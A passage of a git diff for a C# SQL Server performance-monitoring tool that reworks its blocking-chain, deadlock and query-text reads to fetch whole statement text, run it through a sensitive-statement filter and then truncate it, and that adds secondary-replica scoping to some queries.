+            return (baselineFacts, comparisonFacts, baselineContext.Coverage, comparisonContext.Coverage, dispersion,
+                baselineContext.SecondaryReplicaDatabases, comparisonContext.SecondaryReplicaDatabases);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -925,7 +968,7 @@ not be swallowed into an empty result and logged as a fault — this read has no
                caller's own token, the same reasoning CollectConfigAuditFactsAsync's catch already states (#4203). */
             _logger?.LogError("[DarlingAnalysisService] Period comparison failed for {Server}: {Message}",
                 serverName, ex.Message);
-            return ([], [], null, null, new Dictionary<string, BaselineBucket>());
+            return ([], [], null, null, new Dictionary<string, BaselineBucket>(), null, null);
         }
     }
 
@@ -1299,7 +1342,7 @@ private async Task AttributeConfigChangesAsync(AnalysisEngineSet engine, Analysi
             var windows = ConfigChangeAttribution.WindowsFor(anchorTime, context.TimeRangeEnd);
 
             context.CancellationToken.ThrowIfCancellationRequested();
-            var (before, after, beforeCoverage, afterCoverage, dispersion) = await ComparePeriodsAsync(
+            var (before, after, beforeCoverage, afterCoverage, dispersion, _, _) = await ComparePeriodsAsync(
                 context.ServerId, context.ServerName,
                 windows.BeforeStart, windows.BeforeEnd,
                 windows.AfterStart, windows.AfterEnd);
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs
index e10dd03ee3..d2f3bba7b9 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs
@@ -473,6 +473,7 @@ prv AS (SELECT database_name, object_id, SUM(reserved_mb) mb
 WHERE (SELECT t FROM latest) <> (SELECT t FROM prior)
 AND   cur.mb - prv.mb >= $2
 AND   (CASE WHEN prv.mb > 0 THEN (cur.mb - prv.mb) * 100.0 / prv.mb ELSE 0 END) >= $3
+/*SEC*/
 ORDER BY growth_mb DESC LIMIT 1";
 
     public const string ObjectContentionSql = @"
@@ -512,6 +513,9 @@ private async Task DetectObjectStatsAnomalies(AnalysisContext context, List<Fact
                 cmd.Parameters.AddWithValue(context.ServerId);
                 cmd.Parameters.AddWithValue(ObjectGrowthMbThreshold);
                 cmd.Parameters.AddWithValue(ObjectGrowthPctThreshold);
+                /* #5558: object sizes (reserved_mb) mirror the primary, so a secondary copy's growth is the primary's to
+                   report. Only this growth query is filtered; the contention anomaly stays node-local. */
+                PgSecondaryReplicaScope.Apply(cmd, context, "ANOMALY_OBJECT_GROWTH", "cur.database_name");
 
                 using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
                 if (await reader.ReadAsync(context.CancellationToken))
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgBlockingPairRowQuery.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgBlockingPairRowQuery.cs
index 44ef70ccd5..9d385f5f44 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgBlockingPairRowQuery.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgBlockingPairRowQuery.cs
@@ -9,9 +9,11 @@
 using System;
 using System.Collections.Generic;
 using System.Data.Common;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using NpgsqlTypes;
 using PerformanceMonitor.Analysis;
 
 namespace PerformanceMonitor.Darling.Analysis;
@@ -76,13 +78,65 @@ internal static class PgBlockingPairRowQuery
     blocked_sql_text, blocking_sql_text,
     {IdentityColumns},
     contentious_object,
-    {TrailingIdentityColumns}
+    {TrailingIdentityColumns}{DmvSnapshotTail}";
+
+    /// <summary>The same fetch with an empty string where each statement text is (#5361): the drill-down reads the
+    /// pair-rows without the text, reconstructs, and then reads the whole text of only the levels it shows
+    /// (<see cref="DmvChainLevelTextSql"/>). Every other column and the column order are <see cref="DmvSnapshotSql"/>'s,
+    /// so <see cref="Read"/> maps it unchanged.</summary>
+    public const string DmvSnapshotTextFreeSql = $@"
+SELECT
+    {LeadingColumns},
+    ''::text AS blocked_sql_text, ''::text AS blocking_sql_text,
+    {IdentityColumns},
+    contentious_object,
+    {TrailingIdentityColumns}{DmvSnapshotTail}";
+
+    private const string DmvSnapshotTail = $@"
 FROM v_dmv_blocking_snapshots
 WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
 {SpidFilter}
 ORDER BY event_time DESC
 LIMIT 5000";
 
+    /* #5361: the whole statement text of the pair-rows a chain's levels were built from, by event key. $1 is the
+       server and $2 to $6 are the keys' event times and spid:ecid pairs as five parallel arrays; the blocked-process
+       report read also takes the collection_time floor the pair-row read used, as $7, so it prunes the same chunks.
+       A missing spid or ecid reads as 0 on both sides, exactly as Read maps it (blocking_spid is never NULL: the
+       pair-row read filters it). Rows of one key are the same event; when more than one is stored, the one with the
+       longest wait is read, which is the row the reconstruction keeps for an edge. */
+    private const string ChainLevelTextHead = @"
+SELECT DISTINCT ON (v.event_time, COALESCE(v.blocked_spid, 0), COALESCE(v.blocked_ecid, 0), v.blocking_spid, COALESCE(v.blocking_ecid, 0))
+    v.event_time,
+    COALESCE(v.blocked_spid, 0) AS blocked_spid,
+    COALESCE(v.blocked_ecid, 0) AS blocked_ecid,
+    v.blocking_spid,
+    COALESCE(v.blocking_ecid, 0) AS blocking_ecid,
+    v.blocked_sql_text,
+    v.blocking_sql_text
+FROM ";
+
+    private const string ChainLevelTextJoin = @" AS v
+JOIN unnest($2::timestamp[], $3::int[], $4::int[], $5::int[], $6::int[])
+    AS k(event_time, blocked_spid, blocked_ecid, blocking_spid, blocking_ecid)
+  ON  v.event_time = k.event_time
+  AND v.blocking_spid = k.blocking_spid
+  AND COALESCE(v.blocked_spid, 0) = k.blocked_spid
+  AND COALESCE(v.blocked_ecid, 0) = k.blocked_ecid
+  AND COALESCE(v.blocking_ecid, 0) = k.blocking_ecid
+WHERE v.server_id = $1";
+
+    private const string ChainLevelTextTail = @"
+ORDER BY v.event_time, COALESCE(v.blocked_spid, 0), COALESCE(v.blocked_ecid, 0), v.blocking_spid, COALESCE(v.blocking_ecid, 0),
+    v.wait_time_ms DESC NULLS LAST";
+
+    /// <summary>The whole statement text of the blocked-process-report pair-rows behind a chain's levels (#5361).</summary>
+    public const string BprChainLevelTextSql = $@"{ChainLevelTextHead}v_blocked_process_reports{ChainLevelTextJoin}
+AND   v.collection_time >= $7{ChainLevelTextTail}";
+
+    /// <summary>The whole statement text of the DMV-snapshot pair-rows behind a chain's levels (#5361).</summary>
+    public const string DmvChainLevelTextSql = $@"{ChainLevelTextHead}v_dmv_blocking_snapshots{ChainLevelTextJoin}{ChainLevelTextTail}";
+
     public static BlockingPairRow Read(DbDataReader reader) => new()
     {
         EventTime = reader.IsDBNull(0) ? default : reader.GetDateTime(0),
@@ -147,12 +201,14 @@ ORDER BY event_time DESC
     /// </summary>
     internal static async Task AppendDmvSnapshotRowsAsync(
         Func<NpgsqlCommand> createCommand, List<BlockingPairRow> rows, int serverId, DateTime start, DateTime end,
-        CancellationToken cancellationToken)
+        CancellationToken cancellationToken, bool includeText = true)
     {
         var dmv = new List<BlockingPairRow>();
         using (var cmd = createCommand())
         {
-            cmd.CommandText = DmvSnapshotSql;
+            /* #5361: includeText false is the drill-down's text-free read (empty text, fetched afterwards for the levels it
+               shows); the fact collector and the viewer keep the whole text. */
+            cmd.CommandText = includeText ? DmvSnapshotSql : DmvSnapshotTextFreeSql;
             cmd.Parameters.AddWithValue(serverId);
             cmd.Parameters.AddWithValue(DateTime.SpecifyKind(start, DateTimeKind.Unspecified));
             cmd.Parameters.AddWithValue(DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
@@ -164,4 +220,45 @@ internal static async Task AppendDmvSnapshotRowsAsync(
 
         BlockingPairRowMerge.MergeInto(rows, dmv);
     }
+
+    /// <summary>
+    /// Reads the whole statement text of the pair-rows behind the chain levels a drill-down shows (#5361), by event key,
+    /// from one source: <paramref name="sql"/> is <see cref="BprChainLevelTextSql"/> (pass the pair-row read's
+    /// <paramref name="collectedFrom"/> floor) or <see cref="DmvChainLevelTextSql"/> (pass null). Returns each key's
+    /// blocked and blocking text, NULL read as empty text as <see cref="Read"/> does; a key whose row is gone is absent.
+    /// One round trip however many levels print: the keys travel as five parallel arrays.
+    /// </summary>
+    internal static async Task<Dictionary<PairRowKey, (string BlockedSql, string BlockingSql)>> ReadChainLevelTextAsync(
+        NpgsqlConnection connection, string sql, int serverId, IReadOnlyCollection<PairRowKey> keys,
+        DateTime? collectedFrom, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var text = new Dictionary<PairRowKey, (string BlockedSql, string BlockingSql)>();
+        if (keys.Count == 0)
+            return text;
+
+        using var cmd = new NpgsqlCommand(sql, connection) { CommandTimeout = commandTimeoutSeconds };
+        cmd.Parameters.AddWithValue(serverId);
+        cmd.Parameters.Add(new NpgsqlParameter
+        {
+            NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Timestamp,
+            Value = keys.Select(k => DateTime.SpecifyKind(k.EventTime, DateTimeKind.Unspecified)).ToArray()
+        });
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Integer, Value = keys.Select(k => k.BlockedSpid).ToArray() });
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Integer, Value = keys.Select(k => k.BlockedEcid).ToArray() });
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Integer, Value = keys.Select(k => k.BlockingSpid).ToArray() });
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Integer, Value = keys.Select(k => k.BlockingEcid).ToArray() });
+        if (collectedFrom is { } floor)
+            cmd.Parameters.AddWithValue(DateTime.SpecifyKind(floor, DateTimeKind.Unspecified));
+
+        await using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var key = new PairRowKey(
+                reader.GetDateTime(0), Convert.ToInt32(reader.GetValue(1)), Convert.ToInt32(reader.GetValue(2)),
+                Convert.ToInt32(reader.GetValue(3)), Convert.ToInt32(reader.GetValue(4)));
+            text[key] = (reader.IsDBNull(5) ? string.Empty : reader.GetString(5), reader.IsDBNull(6) ? string.Empty : reader.GetString(6));
+        }
+
+        return text;
+    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Blocking.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Blocking.cs
index a19df8b81d..b7af4e4ae2 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Blocking.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Blocking.cs
@@ -23,7 +23,7 @@ public sealed partial class PgDrillDownCollector
     /// for $2 (no upper bound on <c>collection_time</c>: a late-collected deadlock is still in the window).</summary>
     public const string TopDeadlocksSql = @"
 SELECT collection_time, deadlock_time, victim_process_id,
-       LEFT(victim_sql_text, 500) AS victim_sql,
+       victim_sql_text AS victim_sql,
        deadlock_graph_xml
 FROM v_deadlocks
 WHERE server_id = $1 AND deadlock_time >= $2 AND deadlock_time <= $3 AND collection_time >= $4
@@ -36,7 +36,7 @@ ORDER BY deadlock_time DESC
     /// read takes a wider page than it shows and the reader applies the rule.</summary>
     public const string TopDeadlocksSkippingSeparateSql = @"
 SELECT collection_time, deadlock_time, victim_process_id,
-       LEFT(victim_sql_text, 500) AS victim_sql,
+       victim_sql_text AS victim_sql,
        deadlock_graph_xml,
        CASE WHEN database_name IS NOT NULL
              AND lower(database_name) <> 'master'
@@ -75,7 +75,7 @@ Objects field. The raw graph XML is NOT surfaced (it would bloat the alert detai
                 time = reader.IsDBNull(0) ? "" : reader.GetDateTime(0).ToString("o"),
                 deadlock_time = reader.IsDBNull(1) ? "" : reader.GetDateTime(1).ToString("o"),
                 victim = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                victim_sql = reader.IsDBNull(3) ? "" : reader.GetString(3),
+                victim_sql = reader.IsDBNull(3) ? "" : StatementPreview(reader.GetString(3)),
                 objects = string.Join(", ", objects)
             });
         }
@@ -96,8 +96,8 @@ the DMV arm stays on collection_time because a snapshot's event_time IS its coll
 (
     SELECT collection_time, database_name, blocked_spid, blocking_spid,
            wait_time_ms, lock_mode,
-           LEFT(blocked_sql_text, 500) AS blocked_sql,
-           LEFT(blocking_sql_text, 500) AS blocking_sql,
+           blocked_sql_text AS blocked_sql,
+           blocking_sql_text AS blocking_sql,
            contentious_object
     FROM v_blocked_process_reports
     WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3 AND collection_time >= $4
@@ -106,8 +106,8 @@ UNION ALL
 
     SELECT collection_time, database_name, blocked_spid, blocking_spid,
            wait_time_ms, lock_mode,
-           LEFT(blocked_sql_text, 500) AS blocked_sql,
-           LEFT(blocking_sql_text, 500) AS blocking_sql,
+           blocked_sql_text AS blocked_sql,
+           blocking_sql_text AS blocking_sql,
            contentious_object
     FROM v_dmv_blocking_snapshots
     WHERE server_id = $1 AND collection_time >= $2 AND collection_time <= $3
@@ -125,8 +125,8 @@ ORDER BY wait_time_ms DESC
 (
     SELECT collection_time, database_name, blocked_spid, blocking_spid,
            wait_time_ms, lock_mode,
-           LEFT(blocked_sql_text, 500) AS blocked_sql,
-           LEFT(blocking_sql_text, 500) AS blocking_sql,
+           blocked_sql_text AS blocked_sql,
+           blocking_sql_text AS blocking_sql,
            contentious_object
     FROM v_blocked_process_reports
     WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3 AND collection_time >= $5
@@ -136,8 +136,8 @@ UNION ALL
 
     SELECT collection_time, database_name, blocked_spid, blocking_spid,
            wait_time_ms, lock_mode,
-           LEFT(blocked_sql_text, 500) AS blocked_sql,
-           LEFT(blocking_sql_text, 500) AS blocking_sql,
+           blocked_sql_text AS blocked_sql,
+           blocking_sql_text AS blocking_sql,
            contentious_object
     FROM v_dmv_blocking_snapshots
     WHERE server_id = $1 AND collection_time >= $2 AND collection_time <= $3
@@ -171,8 +171,8 @@ private async Task CollectTopBlockingChains(AnalysisFinding finding, AnalysisCon
                 blocking_spid = reader.IsDBNull(3) ? 0 : Convert.ToInt32(reader.GetValue(3)),
                 wait_time_ms = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
                 lock_mode = reader.IsDBNull(5) ? "" : reader.GetString(5),
-                blocked_sql = reader.IsDBNull(6) ? "" : reader.GetString(6),
-                blocking_sql = reader.IsDBNull(7) ? "" : reader.GetString(7),
+                blocked_sql = reader.IsDBNull(6) ? "" : StatementPreview(reader.GetString(6)),
+                blocking_sql = reader.IsDBNull(7) ? "" : StatementPreview(reader.GetString(7)),
                 contentious_object = reader.IsDBNull(8) ? "" : reader.GetString(8)
             });
         }
@@ -182,13 +182,17 @@ private async Task CollectTopBlockingChains(AnalysisFinding finding, AnalysisCon
     }
 
     // SpidFilter keeps the drill-down, fact collector, and viewer fetch in lockstep on the apex
-    // (a missing blocker maps to spid 0 — see PgBlockingPairRowQuery). SQL text is truncated here
-    // for the drill-down payload; the shared reader mapping is unaffected (same column order).
+    // (a missing blocker maps to spid 0 — see PgBlockingPairRowQuery). The pair-rows come back WITHOUT statement
+    // text (#5361): up to 5,000 rows of whole text, 131 times the bytes of the 500-character cut this read carried
+    // before #5320, to print the levels of three chains. The reconstruction picks the rows, and
+    // PgBlockingPairRowQuery.BprChainLevelTextSql / DmvChainLevelTextSql then read the whole text of only the
+    // levels shown, by event key; the drill-down payload judges it and cuts it in C# (#5320). The shared reader
+    // mapping is unaffected (same column order, empty text in the two text columns).
     public const string ReconstructedChainsSql = $@"
 SELECT
     {PgBlockingPairRowQuery.LeadingColumns},
-    LEFT(blocked_sql_text, 500) AS blocked_sql,
-    LEFT(blocking_sql_text, 500) AS blocking_sql,
+    ''::text AS blocked_sql,
+    ''::text AS blocking_sql,
     {PgBlockingPairRowQuery.IdentityColumns},
     contentious_object,
     {PgBlockingPairRowQuery.TrailingIdentityColumns}
@@ -221,6 +225,8 @@ private async Task CollectReconstructedBlockingChains(AnalysisFinding finding, A
                 rows.Add(PgBlockingPairRowQuery.Read(reader));
         }
 
+        var bprRowCount = rows.Count;
+
         // Always-on DMV blocking snapshot fallback. Merge BEFORE the empty check so DMV-only blocking
         // (blocked-process-report unavailable, e.g. AWS RDS) still reconstructs.
         /* A FACTORY that stamps the deadline, not the bare `connection.CreateCommand` method group
@@ -242,7 +248,11 @@ await PgBlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
                 return dmvCommand;
             },
             rows, context.ServerId, context.TimeRangeStart, context.TimeRangeEnd,
-            context.CancellationToken);
+            context.CancellationToken, includeText: false);
+
+        /* #5361: the merge appends only the DMV edges no blocked-process-report edge already holds, after the report
+           rows, so every row past the report count is DMV-sourced: the source of each level's text read below. */
+        var dmvKeys = rows.Skip(bprRowCount).Select(r => r.Key).ToHashSet();
 
         /* A master target leaves out the pairs of databases monitored as their own targets, the same rule
            the BLOCKING_CHAIN fact applies, so the evidence does not show chains the other targets own. */
@@ -255,8 +265,25 @@ await PgBlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
         var reconstruction = BlockingChainReconstructor.Reconstruct(
             rows, maxDepth: 50, maxPairs: 5000, stepBudget: 100_000, scopeByMonitorLoop: false);
 
+        var shownChains = reconstruction.Chains.Take(3).ToList();
+
+        /* #5361: whole statement text for the levels that print, by event key, one read per source. A level whose
+           row is gone by now (retention) reads as empty text. The text is judged and cut below, as before. */
+        var shownKeys = shownChains.SelectMany(c => c.Levels).Select(l => l.Key).Distinct().ToList();
+        var bprText = await PgBlockingPairRowQuery.ReadChainLevelTextAsync(
+            connection, PgBlockingPairRowQuery.BprChainLevelTextSql, context.ServerId,
+            shownKeys.Where(k => !dmvKeys.Contains(k)).ToList(),
+            PerformanceMonitor.Darling.Storage.EventWindowFloor.For(context.TimeRangeStart),
+            DrillDownCommandTimeoutSeconds, context.CancellationToken);
+        var dmvText = await PgBlockingPairRowQuery.ReadChainLevelTextAsync(
+            connection, PgBlockingPairRowQuery.DmvChainLevelTextSql, context.ServerId,
+            shownKeys.Where(dmvKeys.Contains).ToList(), null,
+            DrillDownCommandTimeoutSeconds, context.CancellationToken);
+        (string BlockedSql, string BlockingSql) TextOf(ChainLevel l) =>
+            (dmvKeys.Contains(l.Key) ? dmvText : bprText).GetValueOrDefault(l.Key, (string.Empty, string.Empty));
+
         var items = new List<object>();
-        foreach (var chain in reconstruction.Chains.Take(3))
+        foreach (var chain in shownChains)
         {
             items.Add(new
             {
@@ -273,8 +300,8 @@ await PgBlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
                     blocked_spid = l.BlockedSpid,
                     lock_mode = l.LockMode,
                     wait_time_ms = l.WaitTimeMs,
-                    blocking_sql = l.BlockingSqlText,
-                    blocked_sql = l.BlockedSqlText
+                    blocking_sql = StatementPreview(TextOf(l).BlockingSql),
+                    blocked_sql = StatementPreview(TextOf(l).BlockedSql)
                 }).ToList()
             });
         }
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Config.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Config.cs
index 4f17d2c42e..c1b000488f 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Config.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Config.cs
@@ -22,6 +22,7 @@ public sealed partial class PgDrillDownCollector
 FROM v_database_config
 WHERE server_id = $1
 AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1)
+/*SEC*/
 AND   (is_auto_shrink_on = true OR is_auto_close_on = true
        OR is_read_committed_snapshot_on = false OR page_verify_option != 'CHECKSUM')
 ORDER BY database_name";
@@ -32,6 +33,8 @@ private async Task CollectConfigIssues(AnalysisFinding finding, AnalysisContext
 
         using var cmd = new NpgsqlCommand(ConfigIssuesSql, connection) { CommandTimeout = DrillDownCommandTimeoutSeconds };
         cmd.Parameters.AddWithValue(context.ServerId);
+        /* #5558: the same databases the fact skipped. */
+        PgSecondaryReplicaScope.Apply(cmd, context, "DB_CONFIG", "database_name");
 
         var items = new List<object>();
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs
index d462b0453a..4c2b1d10bd 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs
@@ -72,6 +72,10 @@ is NOT swallowed here (#2443). */
         // Fetch plan XML live from SQL Server
         var planXml = await _planFetcher.FetchPlanXmlAsync(context.ServerId, planHandle, context.CancellationToken);
         if (string.IsNullOrEmpty(planXml)) return;
+        // #4348: the plan is judged BEFORE it is analyzed. A warning quotes up to 300 characters of a predicate or
+        // a statement from the plan, so a statement the filter withholds must reach the analyzer already withheld,
+        // with its predicates and parameter values: each quote is then judged with its statement.
+        planXml = SensitiveStatements.Xml(planXml)!;
 
         try
         {
@@ -178,7 +182,7 @@ private async Task CollectPlanAdvisoryDetail(AnalysisFinding finding, AnalysisCo
                         reader.IsDBNull(0) ? null : reader.GetString(0),
                         reader.IsDBNull(1) ? null : reader.GetFieldValue<byte[]>(1));
                     if (!string.IsNullOrEmpty(planXml))
-                        planXmls.Add(planXml);
+                        planXmls.Add(SensitiveStatements.Xml(planXml)!); // #4348: judged before the analyzer quotes it
                 }
             }
 
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs
index a83de2fd82..7698a1f499 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs
@@ -31,6 +31,15 @@ public sealed partial class PgDrillDownCollector
     /// </summary>
     private const int DrillDownCommandTimeoutSeconds = 30;
 
+    /// <summary>The characters of a statement a drill-down prints. The reads return the WHOLE text, the statement
+    /// filter judges it, and the cut to this length comes after (#5320): a cut made in SQL first leaves the filter a
+    /// prefix, which can hold a value whose naming text sits past the cut.</summary>
+    internal const int StatementPreviewLength = 500;
+
+    /// <summary>A statement read whole, judged, then cut to <see cref="StatementPreviewLength"/> characters.</summary>
+    internal static string StatementPreview(string? raw) =>
+        AnalysisStatementText.Preview(raw, StatementPreviewLength) ?? "";
+
     public const string SpikePeakSql = @"
 SELECT collection_time, sqlserver_cpu_utilization
 FROM v_cpu_utilization_stats
@@ -42,7 +51,7 @@ ORDER BY sqlserver_cpu_utilization DESC
 SELECT collection_time, session_id, database_name, status,
        cpu_time_ms, total_elapsed_time_ms, logical_reads,
        wait_type, dop, parallel_worker_count,
-       LEFT(query_text, 500) AS query_text
+       query_text
 FROM v_query_snapshots
 WHERE server_id = $1
 AND   collection_time >= $2
@@ -100,7 +109,7 @@ private async Task CollectQueriesAtSpike(AnalysisFinding finding, AnalysisContex
                     wait_type = reader.IsDBNull(7) ? "" : reader.GetString(7),
                     dop = reader.IsDBNull(8) ? 0 : reader.GetInt32(8),
                     parallel_workers = reader.IsDBNull(9) ? 0 : reader.GetInt32(9),
-                    query_text = reader.IsDBNull(10) ? "" : reader.GetString(10)
+                    query_text = reader.IsDBNull(10) ? "" : StatementPreview(reader.GetString(10))
                 });
             }
         }
@@ -141,7 +150,7 @@ private async Task CollectQueriesAtSpike(AnalysisFinding finding, AnalysisContex
     /// <para>#3959: the ranking and the cut to five happen without the statement text, and <c>query_text</c> is
     /// read afterwards for the five that print. <c>v_query_stats</c> resolves text from the fleet-wide
     /// <c>query_text_dim</c> for every row it returns, so projecting it inside the window resolved and sorted
-    /// the whole window's text to keep five. The printed value is the same <c>LEFT(MAX(query_text), 500)</c>
+    /// the whole window's text to keep five. The printed value is the same <c>MAX(query_text)</c>, judged whole and then cut to 500 (#5320),
     /// over the same rows.</para>
     /// </summary>
     public const string TopCpuQueriesSql = @"
@@ -192,7 +201,7 @@ LIMIT 5
        COALESCE
        (
            (
-               SELECT LEFT(MAX(v.query_text), 500)
+               SELECT MAX(v.query_text)
                FROM v_query_stats AS v
                WHERE v.server_id = $1 AND v.collection_time >= $2 AND v.collection_time <= $3
                AND   v.delta_worker_time > 0
@@ -201,7 +210,7 @@ AND   v.delta_worker_time > 0
            ),
            CASE WHEN t.database_name IS NULL OR t.query_hash IS NULL THEN
            (
-               SELECT LEFT(MAX(v.query_text), 500)
+               SELECT MAX(v.query_text)
                FROM v_query_stats AS v
                WHERE v.server_id = $1 AND v.collection_time >= $2 AND v.collection_time <= $3
                AND   v.delta_worker_time > 0
@@ -243,7 +252,7 @@ private async Task CollectTopCpuQueries(AnalysisFinding finding, AnalysisContext
                 /* #3648: newest plan's reading, null when unknown — never 0. History fields follow. */
                 max_dop = maxDop,
                 spills = reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
-                query_text = reader.IsDBNull(6) ? "" : reader.GetString(6),
+                query_text = reader.IsDBNull(6) ? "" : StatementPreview(reader.GetString(6)),
                 plan_count = planCount,
                 max_dop_any_plan = maxDopAnyPlan,
                 max_dop_any_plan_last_seen = maxDopAnyPlanLastSeen?.ToString("o"),
@@ -259,7 +268,7 @@ private async Task CollectTopCpuQueries(AnalysisFinding finding, AnalysisContext
 SELECT database_name, query_hash,
        SUM(delta_spills)::BIGINT AS total_spills,
        SUM(delta_execution_count)::BIGINT AS exec_count,
-       LEFT(MAX(query_text), 500) AS query_text
+       MAX(query_text) AS query_text
 FROM v_query_stats
 WHERE server_id = $1 AND collection_time >= $2 AND collection_time <= $3
 AND   delta_spills > 0
@@ -287,7 +296,7 @@ private async Task CollectTopSpillingQueries(AnalysisFinding finding, AnalysisCo
                 query_hash = reader.IsDBNull(1) ? "" : reader.GetString(1),
                 total_spills = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2)),
                 execution_count = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
-                query_text = reader.IsDBNull(4) ? "" : reader.GetString(4)
+                query_text = reader.IsDBNull(4) ? "" : StatementPreview(reader.GetString(4))
             });
         }
 
@@ -333,7 +342,8 @@ latest AS
     -- carries each row's text, so this read paid for the window's worth of text to print five. The row
     -- keeps the two halves the view would have COALESCEd (the inline legacy text and the digest). This
     -- read resolves neither against the dimension: the reader keeps the first five plans that pass its
-    -- exact test, and ParameterSensitiveTextSql then resolves the digests of those plans only.
+    -- exact test, and ParameterSensitiveInlineTextSql then reads the inline text of those plans only and
+    -- ParameterSensitiveTextSql resolves the digests of those plans only.
     SELECT
         database_name,
         query_hash,
@@ -346,7 +356,9 @@ latest AS
         max_grant_kb,
         min_spills,
         max_spills,
-        query_text,
+        -- #5361: whether the row has inline text, never the text. The window sort below would carry every
+        -- row's whole text (up to 64 KB each) to keep five plans, so the text is read afterwards for those plans.
+        query_text IS NOT NULL AS has_inline_text,
         query_text_digest,
         ROW_NUMBER() OVER
         (
@@ -372,7 +384,7 @@ offenders AS
         max_grant_kb::DOUBLE PRECISION / NULLIF(min_grant_kb, 0) AS grant_ratio,
         CASE WHEN max_spills > 0 AND min_spills = 0 THEN 1 ELSE 0 END AS spill_divergence,
         creation_time,
-        query_text,
+        has_inline_text,
         query_text_digest,
         svr.offset_minutes,
         svr.time_zone_id
@@ -397,12 +409,13 @@ offenders AS
     o.worker_ratio,
     o.grant_ratio,
     o.spill_divergence,
-    -- The inline legacy text only, NULL for a row that carries just a digest. This read runs before the
-    -- reader's cap, so it comes back with every plan that passes the rough filter, and a join to the text
-    -- dimension here would resolve text for all of them to print five (#3902). The text of the plans that
-    -- print is resolved by a second read, by digest, for those plans only (ParameterSensitiveTextSql); the
-    -- reader takes this inline text first and that read's text otherwise, as the view's COALESCE did.
-    LEFT(o.query_text, 500) AS query_text,
+    -- Whether the row carries inline legacy text, false for a row that carries just a digest (#5361). This read
+    -- runs before the reader's cap, so it comes back with every plan that passes the rough filter: neither the
+    -- inline text nor a join to the text dimension may be resolved here for all of them to print five (#3902).
+    -- The inline text of the plans that print is read by ParameterSensitiveInlineTextSql, and the dimension's
+    -- text by digest (ParameterSensitiveTextSql), for those plans only; the reader takes the inline text first
+    -- and the dimension's text otherwise, as the view's COALESCE did.
+    o.has_inline_text,
     -- Appended after the older columns so their ordinals are untouched (#4821): the plan's local creation time
     -- and the newest snapshot's offset and zone, for the reader's conversion, then the text digest for the
     -- second read.
@@ -413,18 +426,48 @@ offenders AS
 FROM offenders AS o
 ORDER BY o.worker_ratio DESC";
 
+    /// <summary>
+    /// The inline statement text of the parameter-sensitive plans the reader keeps (#5361), whole: the text
+    /// <see cref="ParameterSensitiveSql"/> flags with <c>has_inline_text</c> but does not carry, because it runs
+    /// before the reader's cap. Each plan's row is the one that read ranked: the newest row of the window with
+    /// <c>delta_execution_count &gt; 0</c> (its <c>rn = 1</c>), so a kept plan prints the text it printed when the ranking
+    /// read carried it. <c>$1</c> to <c>$3</c> are the server and the window, <c>$4</c> to <c>$6</c> the kept plans'
+    /// database, query hash and plan hash as three parallel arrays; a NULL part matches a NULL part, as the ranking's
+    /// <c>PARTITION BY</c> groups it. The hash comparison also states <c>= ANY</c> so the (server_id, query_hash,
+    /// collection_time) index serves the read. The text is the view's own <c>COALESCE</c> (#1767): the row's inline text, else
+    /// the text dimension's for the row's digest, so a row whose text lives only in the dimension still returns it.
